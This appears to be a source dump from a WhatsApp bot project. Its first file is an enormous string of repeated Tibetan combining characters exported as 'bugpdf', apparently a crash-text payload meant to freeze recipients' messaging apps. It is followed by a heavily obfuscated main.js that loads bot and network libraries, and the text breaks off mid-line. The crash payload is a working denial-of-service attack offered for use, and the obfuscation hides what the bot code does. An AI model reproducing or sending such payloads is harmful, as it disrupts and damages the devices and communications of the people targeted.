ྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀིྀི` 2 | exports.bugpdf = bugpdf -------------------------------------------------------------------------------- /main.js: -------------------------------------------------------------------------------- 1 | const eSoigHWlqfradaCILUFwIItR=JEcnN;(function(aSCpiIyydWxPssIWMlaE,pBiQlhGbQAYOsSVgFmcdvX){const ngfSWkoXrlCUhZk_Vs$AempTaCp=JEcnN,qEaCIgtpkro$Df=aSCpiIyydWxPssIWMlaE();while(!![]){try{const CUlXRWsuVzxtUGDarV$tOg=-parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x1d8))/(Math.floor(0x17b)*0x8+0x1*-0xaf2+-0xe5*0x1)*parseInt(parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x1d6))/(parseInt(-0x1)*0xdcd+Math.floor(-0xa3b)*0x2+Math.trunc(0x2245)))+-parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x1f6))/(parseInt(-0x2fb)*0xc+-0x7aa+parseFloat(-0x3f3)*-0xb)*parseInt(-parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x1dc))/(-0x4cc+Math.max(0xab7,0xab7)*0x1+Math.max(-0x5e7,-0x5e7)))+parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x216))/(-0x1695+0x5c3+-0x3*Number(-0x59d))+parseInt(-parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x26f))/(0xea4+parseInt(0x1659)+Math.ceil(-0x1)*Number(0x24f7)))+parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x22c))/(0x36d+0x24a*-0x4+parseInt(0x5c2))+parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x1ca))/(-0x2065+Number(0x2684)+Number(-0x1)*Math.ceil(0x617))+Math['trunc'](parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x1e6))/(Number(-0xa)*Math.ceil(0x218)+-0x1*Math.ceil(-0x2146)+Math.max(-0xc4d,-0xc4d)))*(parseFloat(ngfSWkoXrlCUhZk_Vs$AempTaCp(0x20a))/(0x1b*parseFloat(0x29)+-0xf9e*0x2+0x1af3*0x1));if(CUlXRWsuVzxtUGDarV$tOg===pBiQlhGbQAYOsSVgFmcdvX)break;else qEaCIgtpkro$Df['push'](qEaCIgtpkro$Df['shift']());}catch(pjXIIPNcuU$x){qEaCIgtpkro$Df['push'](qEaCIgtpkro$Df['shift']());}}}(PDojJAbxmrZwuEk_VejiIXKYpv,0x52077+parseFloat(0x6bf85)+parseInt(0x35a71)*Math.ceil(-0x1)),require(eSoigHWlqfradaCILUFwIItR(0x1f4)));const pino=require(eSoigHWlqfradaCILUFwIItR(0x1f0)),{Boom}=require(eSoigHWlqfradaCILUFwIItR(0x233)),fs=require('fs'),chalk=require(eSoigHWlqfradaCILUFwIItR(0x238)),FileType=require(eSoigHWlqfradaCILUFwIItR(0x207)),path=require(eSoigHWlqfradaCILUFwIItR(0x22b)),axios=require(eSoigHWlqfradaCILUFwIItR(0x1df)),PhoneNumber=require(eSoigHWlqfradaCILUFwIItR(0x214)),{imageToWebp,videoToWebp,writeExi